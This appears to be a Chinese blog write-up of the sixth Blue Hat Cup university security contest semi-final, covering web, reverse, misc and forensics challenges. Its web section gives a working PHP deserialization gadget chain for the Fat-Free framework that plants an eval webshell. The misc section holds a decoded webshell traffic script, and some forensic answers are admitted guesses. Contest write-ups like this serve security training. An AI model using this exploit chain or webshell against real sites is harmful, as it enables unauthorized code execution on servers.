第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp

Web

easyfatfree

php框架反序列化,简单题,直接全局搜索__destruct 只有一个可用

Jig#__destruct 调用到Base#wirte ,然后直接写入文件。刚开始做的时候想得麻烦了……

function __destruct() {
   if ($this->lazy) {
      $this->lazy = FALSE;
      foreach ($this->data?:[] as $file => $data)
         $this->write($file,$data);
   }
}

function write($file,array $data=NULL) {
      if (!$this->dir || $this->lazy)
         return count($this->data[$file]=$data);
      $fw=\\Base::instance();
        switch ($this->format) {
         case self::FORMAT_JSON:
            $out=json_encode($data,JSON_PRETTY_PRINT);
            break;
         case self::FORMAT_Serialized:
            $out=$fw->serialize($data);
            break;
      }
//        var_dump($this->dir.$file);
      return $fw->write($this->dir.$file,$out);
   }

// Base#wirte 
function write($file,$data,$append=FALSE) {
		return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

蚁剑直接在根目录下找到flag

<?php
namespace DB {

    use DB\\Jig as DBJig;
    use Base;

    class Jig {
        protected
        $dir,
      //! Current storage format
      $format,
      //! Jig log
      $log,
      //! Memory-held data
      $data,
      //! lazy load/save files
      $lazy;
        public function __construct()
        {
            $this->dir = 'ui/';
            $this->format = 0;
            $this->data = array('index.php'=>['<?php eval($_POST[\\'cmd\\']);']);
            $this->lazy = true;
        }
    }

    $a = [newDBJig(), new \\Base()];
    echo urlencode(serialize($a));
}

namespace {
    abstract class Prefab {

    }

    final class Base extends Prefab {
        private $hive;
        public function __construct()
        {
            $this->hive = array('LOCK'=>8, 'SERIALIZER'=>'');
        }
    }
}

flag:

flag{5cc7c26b-0994-4f76-aedd-36f91b940aca}

Reverse

babynim

image-20220804180545657

根据提示输入flag{十进制整数}

ida打开搜索字符串找到两个大整数,long_to_bytes()转成字节得到一个uuid的flag,提交后发现不对。

然后根据那两个整数定位到函数反编译

大致分析一下:

image-20220804180847747

先是输出plz input your flag(format: flag{decimal number})

然后等待输入给v2

image-20220804181013787

然后判断长度是否为42,头和尾是否为flag{}

image-20220804181148037

输入的数赋值给x__hello_40,小一点的数复制给a__hello_41,后面再分别给v23, v22

image-20220804181324056

进入star___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_1219()函数,看到关键字multiplication(乘法),可以猜测那个函数就是把v23和v22相乘赋值给v24

image-20220804181443441

image-20220804181558920

image-20220804181607316

最后两个相乘的数和那个大数相比较,这样就得到了基本逻辑。

所以只需要计算大数除以小数就可以了

image-20220804181725466

flag:flag{923973256239481267349126498121231231}

Misc

神秘的日志

直接双击打开看,先查看system

查看到这条,再到security中找到该时间点,然后可以尝试几个(一次就对

image-20220804180008616

image-20220804175931530

md5之后上交

image-20220804175959244

加密的通道

先追踪到流14,然后解码下面一部分

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OyGeP6l9-1659965763048)(https://s2.loli.net/2022/08/04/FoICaSnJ8ct5YeH.png)]

发现是一个php代码,但是进行了加密,搜一下上面提到的https://Www.PHPJiaMi.Com,是一个加密网站,然后google搜索解码

https://blog.csdn.net/ababab12345/article/details/90169678

但是发现github上的解码脚本没了,换一个被,正好发现,Y4大佬推了这个解码工具

https://github.com/Y4tacker/CTFBackup/commit/815e4df83ca6ff0de0a2138d203131246df4706f

然后下下来,解码

得到脚本,再稍微改一下

<?php
$cmd = ''
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
}
echo $cmd;

最后是在流34中,发现有flag

一个很完美的Zmxh flag头

flag{844dfc86da23a4d5283907efaf9791ad}

Forensic(没有特殊说明使用的都是官方给的工具)

手机取证_1

iBoot-7429.62.1

手机取证_2

加8小时

2022-01-11 18:47:38

exe分析_1

查看微信聊天记录得到压缩包

ida分析,f12直接看

C:\Program Files\Common Files\Services\WmiApSvr.exe

exe分析_2

ida打开,直接搜索advapi32.dll

然后跟进,发现sub__433630()函数有用到advap.32.dll

exe分析_3

ida打开,直接搜索.exe

svchost.exe

exe分析_4

都说了,挖矿,那就挖矿呗

挖矿

exe分析_5

在这个的下面有一串很明显的ASCII,提取出来

解码,得到网站,然后溯源,得到ip,再通过ip查询地址

image-20220804184431403

image-20220804184623672

APK分析_01

用jadx-gui打开base.apk,这边后来在做其他的题目的时候发现一个问题,明明是同一个附件,但是他的序列号却不一样,我不是很能理解,这边也是因为运气好,然后得到了正确的序列号,然后这边左边的代码还跟队友的不一样,队友都是abcd啥的,我是p061a这种,也不是很理解,导致后面有一个题目我做了半天出不来,按理来说就是那个函数,但是就是不对

base.apk是在对安卓的附件进行分析

image-20220804185031032

image-20220804184850957

0x936eacbe07f201df

APK分析_02

在查看MainActivity解码base64得到

image-20220804185207510

ansjk.ecxeio.xyz

APK分析_05

同6
有

APK分析_06

在受害人安卓手机中找到EXEC.apk并导出,打开java代码image-20220804173320919

主函数中导入了包,进去后发现了检测判断

image-20220804173403504

image-20220804173849960受害人手机中exec的检测方法的完整路径和方法名是:d.a.a.c.a.a()

APK分析_08

在受害人安卓手机中找到红星.ipa并导出

image-20220804172232579

Info.plist文件下找到包名

image-20220804172604489

受害人手机中红星IPA的包名是:com.dd666.hongxin

APK分析_09

直接打开在Info.plist文件下找到APIKey

image-20220804172353778

受害人手机中红星IPA的APIKEY是:d395159c291c627c9d4ff9139bf8f0a700b98732

APK分析_11

用jadx-gui打开,搜索关键词www.得到

image-20220804185536505

www.nansjy.com.cn:8161

APK分析_12

基础的查看apk程序入口的知识

image-20220804185632051

com.example.weisitas526sad.activity.SplashActivity

APK分析_13

先从聊天记录里下载,然后直接在模拟器里安装,进去之后点击网络设置就可以看到端口

image-20220804185747063

image-20220804185942328

6661

APK分析_15

fidder打开手机流量包,找到login关键字的url

image-20220804171156720

选中在右边可以看到inspectors中可以看到uesrname,password等信息image-20220804171321169

把password在线md5解一下就有了

image-20220804171411210

结合手机流量分析聊天工具的登录账号和密码是:17317289056/b12345678b

服务器取证_05

根据宝塔面板进行分析,得到,算了编不下去了,这题跟前面那个exec的界面一样,都是一直在猜,界面猜了567,但是不对,这个题直接猜了6,就对了,一猜就对,不得不说,这次比赛的运气是真的好!反过来想想为什么是6,我也不明白,等wp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cAaK20oe-1659965763056)(C:/Users/Anoxia/AppData/Roaming/Typora/typora-user-images/image-20220804190028148.png)]

服务器取证_07

image-20220804172843272

找到数据库名和密码,通过计算机仿真取证系统登录数据库

查询loginlogs表的数据,第一个ip就是最早访问涉案网站后台的IP地址

image-20220804172733972

写出最早访问涉案网站后台的IP地址:183.160.76.194

凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mxx307

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值